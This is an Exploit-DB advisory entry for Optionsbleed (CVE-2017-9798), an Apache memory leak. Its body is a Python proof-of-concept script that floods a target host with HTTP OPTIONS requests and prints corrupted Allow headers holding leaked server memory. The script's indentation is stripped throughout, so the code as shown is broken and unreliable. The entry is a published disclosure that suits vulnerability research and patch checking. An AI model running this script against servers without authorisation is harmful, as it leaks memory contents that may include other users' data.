Apache - HTTP OPTIONS Memory Leak

EDB-ID: 42745
Author: Hanno Bock
Published: 2017-09-18
CVE: CVE-2017-9798
Type: Webapps
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

  
# Optionsbleed proof of concept test
# by Hanno Böck

import argparse
import urllib3
import re


def test_bleed(url, args):
r = pool.request('OPTIONS', url)
try:
allow = str(r.headers["Allow"])
except KeyError:
return False
if allow in dup:
return
dup.append(allow)
if allow == "":
print("[empty] %s" % (url))
elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$", allow):
z = [x.strip() for x in allow.split(',')]
if len(z) > len(set(z)):
print("[duplicates] %s: %s" % (url, repr(allow)))
elif args.all:
print("[ok] %s: %s" % (url, repr(allow)))
elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$", allow):
print("[spaces] %s: %s" % (url, repr(allow)))
else:
print("[bleed] %s: %s" % (url, repr(allow)))
return True


parser = argparse.ArgumentParser(
description='Check for the Optionsbleed vulnerability (CVE-2017-9798).',
epilog="Tests server for Optionsbleed bug and other bugs in the allow header.\n\n"
"Autmatically checks http://, https://, http://www. and https://www. -\n"
"except if you pass -u/--url (which means by default we check 40 times.)\n\n"
"Explanation of results:\n"
"[bleed] corrupted header found, vulnerable\n"
"[empty] empty allow header, does not make sense\n"
"[spaces] space-separated method list (should be comma-separated)\n"
"[duplicates] duplicates in list (may be apache bug 61207)\n"
"[ok] normal list found (only shown with -a/--all)\n",
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('hosttocheck', action='store',
help='The hostname you want to test against')
parser.add_argument('-n', nargs=1, type=int, default=[10],
help='number of tests (default 10)')
parser.add_argument("-a", "--all", action="store_true",
help="show headers from hosts without problems")
parser.add_argument("-u", "--url", action='store_true',
help="pass URL instead of hostname")
args = parser.parse_args()
howoften = int(args.n[0])

dup = []

# Note: This disables warnings about the lack of certificate verification.
# Usually this is a bad idea, but for this tool we want to find vulnerabilities
# even if they are shipped with invalid certificates.
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

pool = urllib3.PoolManager(10, cert_reqs='CERT_NONE')

if args.url:
test_bleed(args.hosttocheck, args)
else:
for prefix in ['http://', 'http://www.', 'https://', 'https://www.']:
for i in range(howoften):
try:
if test_bleed(prefix+args.hosttocheck, args) is False:
break
except Exception as e:
pass

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